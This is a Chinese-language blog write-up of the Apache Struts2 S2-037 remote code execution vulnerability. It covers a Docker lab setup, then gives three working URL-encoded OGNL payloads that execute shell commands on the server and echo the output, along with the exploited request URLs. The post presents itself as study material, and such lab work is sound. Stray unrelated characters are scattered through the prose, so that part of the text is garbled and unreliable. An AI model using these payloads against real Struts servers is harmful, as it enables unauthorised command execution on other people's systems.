Struts-s2-037
此文僅供大家交流學習绪妹,嚴禁非法使用
一宫静、參考網(wǎng)址:
http://blog.csdn.net/qq_29277155/article/details/51672877
https://github.com/Medicean/VulApps/tree/master/s/struts2/s2-033
二走净、 影響版本:
Struts 2.3.20 - Struts Struts 2.3.28(2.3.20.3和2.3.24.3除外)
三、 漏洞介紹:
當使用REST插件啟用動態(tài)方法調(diào)用時孤里,可以傳遞可用于在服務器端執(zhí)行任意代碼的惡意表達式伏伯。
四、 環(huán)境搭建:
(Linux)
使用的參考網(wǎng)址的docker搭建環(huán)境
- 拉取鏡像到本地
$ docker pull medicean/vulapps:s_struts2_s2-033
- 啟動環(huán)境
$ docker run -d -p 80:8080 medicean/vulapps:s_struts2_s2-033
-p 80:8080 前面的 80 代表物理機的端口捌袜,可隨意指定说搅。
五、 POC:
%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,@java.lang.Runtime@getRuntime%28%29.exec%28%23parameters.command[0]),%23xx%3d123,%23xx.toString.json?&command=touch%20/tmp/success
POC(回顯)(這個不容易虏等,網(wǎng)上找的都無法實現(xiàn)回顯弄唧,我費事的參照其他漏洞的輸出方式將結(jié)果回顯的)
%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23process%3D@java.lang.Runtime@getRuntime%28%29.exec%28%23parameters.command[0]),%23ros%3D%28@org.apache.struts2.ServletActionContext@getResponse%28%29.getOutputStream%28%29%29%2C@org.apache.commons.io.IOUtils@copy%28%23process.getInputStream%28%29%2C%23ros%29%2C%23ros.flush%28%29,%23xx%3d123,%23xx.toString.json?&command=uname
正規(guī)POC,后來找到的
%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23xx%3d123,%23rs%3d@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command[0]).getInputStream()),%23wr%3d%23context[%23parameters.obj[0]].getWriter(),%23wr.print(%23rs),%23wr.close(),%23xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=2908&command=whoami
六霍衫、 測試網(wǎng)址:
第一個POC執(zhí)行過程:
原始網(wǎng)頁:
http://ip:8000/orders/3/
修改后網(wǎng)址:
http://ip:8000/orders/3/%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,@java.lang.Runtime@getRuntime%28%29.exec%28%23parameters.command[0]),%23xx%3d123,%23xx.toString.json?&command=touch%20/tmp/success
七候引、執(zhí)行結(jié)果
八、 第二個POC執(zhí)行過程
原始網(wǎng)頁
http://ip:8000/orders/3/
修改后網(wǎng)址:
http://ip:8000/orders/3/%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23process%3D@java.lang.Runtime@getRuntime%28%29.exec%28%23parameters.command[0]),%23ros%3D%28@org.apache.struts2.ServletActionContext@getResponse%28%29.getOutputStream%28%29%29%2C@org.apache.commons.io.IOUtils@copy%28%23process.getInputStream%28%29%2C%23ros%29%2C%23ros.flush%28%29,%23xx%3d123,%23xx.toString.json?&command=uname
執(zhí)行結(jié)果
九敦跌、總結(jié)
回頭看來澄干,因為我之前吧s2-037當成s2-033先驗證了,而真正的s2-033一直驗證不成功柠傍,直至我把s2-033驗證成功發(fā)現(xiàn)麸俘,雖然兩個很相似,前提同為REST插件啟用動態(tài)方法調(diào)用惧笛,但s2-037好像并沒有要求<constant name="struts.enable.DynamicMethodInvocation" value="true" />从媚,因為我是驗證了s2-037,s2-033沒有成功,添加了<constant name="struts.enable.DynamicMethodInvocation" value="true" />這句話后患整,才成功驗證了s2-033
十静檬、 至此,該漏洞基本利用完畢
本人還是一個未畢業(yè)的小萌新并级,希望大家多多幫助,有問題請發(fā)送郵件到xrzsupupup@163.com不勝感激侮腹,我也會盡量去幫助大家
堅決做一名白帽子